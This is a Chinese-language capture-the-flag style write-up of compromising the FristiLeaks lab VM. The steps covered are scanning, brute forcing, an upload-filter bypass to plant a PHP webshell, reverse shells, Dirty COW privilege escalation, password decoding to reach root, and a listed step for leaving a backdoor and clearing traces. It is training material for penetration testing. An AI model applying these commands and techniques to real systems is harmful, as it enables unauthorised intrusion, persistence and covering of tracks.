一. 实验环境
二. 实验流程
三. 实验步骤
(一)信息收集——主机发现
1. 查看Kali的IP信息;(IP:192.168.37.131)
2. 查看靶机页面,IP地址为:192.168.37.146;
3. 扫描主机(netdiscover)
(二)信息收集——端口扫描
1. 扫描端口(masscan)
2. 详细扫描端口信息(nmap)
(三)渗透测试
80端口(http服务)
1. 访问目标靶机的80端口
2. 尝试将“@后面的貌似人名的信息”与链接拼接进行访问;
3. 查看首页的前端代码;
4. 网站目录扫描(dirb)
5. 查看扫描到的网站目录;
6. 后台登录页面
7. 查看登录页面的前端代码
8. 解密加密的字符串;
9. 尝试进行后台登录;
10. 其他方式2获取反弹shell;
11. 其他方式3获取反弹shell;
12. 提权操作(脏牛提权)
13. 提权操作(其他方式)
14. 留后门,清痕迹;
四. 实验总结
- 靶机:Fristileaks,IP地址:192.168,37.146
- 测试机:Kali,IP地址:192.168.37.131;
- 测试机:物理机win7;
- 信息收集——主机发现
- 信息收集——端口扫描
- 渗透测试
netdiscover -i eth0 -r 192.168.37.0/24
Netdiscover: -i 指定网卡 -r 指定网段
masscan --rate=10000 --ports 0-65535 192.168.37.146
扫描发现目标开放了80端口;
nmap 192.168.37.146 -sV -T4 -O -p 80
http://192.168.37.146
发现只是一张图片,还有页面下面的 @信息;
http://192.168.37.146/meneer
…
http://192.168.37.146/Ar0xA
没有什么发现;
没有什么发现,接下来就是常规思路,爆破网站的目录;
dirb http://192.168.37.146
5.1> http://192.168.37.146/images/
5.2> http://192.168.37.146/index.html
5.3> http://192.168.37.146/robots.txt
- 查看扫描到的网站目录,都只是一些图片,没有发现其他可用的信息;
- robots.txt文件内的目录是不允许爬虫机器人爬取的目录,我们打开发现的三个目录,都只是一张图片,没有其他信息;
- 最后的最后,通过其他工具也没有扫描出网站的可利用目录,没办法,只能将主页上有的单词全都尝试了一遍,拼接到链接后面;终于在图片上的文字“keep calm and drink fristi”中尝试成功;
6.1> 发现后台登录页面;
http://192.168.37.146/fristi/
6.2> 尝试使用弱口令进行登录;
可以发现该登录页面没有登录次数的限制,也没有验证码机制;可以尝试进行暴力破解;
6.3> 暴力破解
抓包;
导入intruder,清空参数,添加参数;
添加字典,暴力破解;
字典用的是主页中的@后面的内容;
没有爆破成功,用户名和密码不像我们想象中的那么简单;
- 对于登录页面,就需要特别留意代码中的用户名和疑似密码的信息;
- 发现了一个名字为eezeepz的留言和一段加密过的字符串,并且content中提到“We use base64 encoding for images”,猜想:加密的字符串应该是base64编码,并且加密的是一张图片;
8.1> 将加密的字符串复制到Kali中;并进行解密;
- Base64编码的特征:三个字节为一组,不足的用“=”或“==”补位;
- 解码后为乱码,但可以看出是个png格式的图片;
8.2> 将解密后的内容输出为文件,进行查看;
获得字符串“keKkeKKeKKeKkEkkEk”,猜测是密码,结合之前的用户名进行查看和验证;
9.1> 登录;
成功登录,发现可以上传文件,尝试上传一个写好的PHP代码;
9.2> 上传文件;
只允许上传png、jpg、gif图片,经过多次尝试,发现使用.php.jpg可以上传成功并执行,果断传一个一句话shell。
9.3> 上传一句话shell;
9.4> 使用中国菜刀链接;
成功获取到webshell;
10.1> 在Kali上写个PHP反弹shell的脚本;并开启Apache服务
&3 2>&3");?>
Service apache2 start
10.2> 在物理机上写个下载并执行该脚本的PHP代码;
10.3> 将shell1.php.jpg上传;
10.4> 在Kali上监听1234端口;浏览器去访问上传的shell1.php.jpg,成功获取目标的shell
10.5> 将shell转换为交互式的tty
python -c ‘import pty;pty.spawn(“/bin/bash”)’
11.1> 将Kali上的php-reverse-shell.php复制到物理机上,重命名,并修改监听的IP地址;
11.2>并将文件上传到靶机上;
11.3> 在Kali上监听1234端口,并访问上传的文件;
11.4> 将shell转换为交互式的tty;
python -c ‘import pty;pty.spawn(“/bin/bash”)’
成功获取到shell后,就需要进行提权操作;
12.1> 将dirty.c文件下载到目标靶机的/tmp目录下;
12.2> 编译,执行
12.3> 查看此时的权限;
13.1> 查看靶机中的用户;
进入admin的目录后。查看文件发现两个特殊的字符串和一个编码的脚本,猜测:特殊的字符串是经过编码处理的;
13.2> 写一个解码脚本;并下载到目标靶机;
13.3> 执行decode.py;
- 解码后得到两个正常字符串:
thisisalsopw123
LetThereBeFristi!
13.4> 测试账户fristigod;
13.5> 查看当前用户的命令执行历史;根据提示内容,尝试执行命令;获得root权限;
- 根据服务器上传文件要求,针对性地制作木马文件,可获取webshell权限(使用菜刀)
- Kali中的php-reverse-shell.php文件可用于制作监听木马文件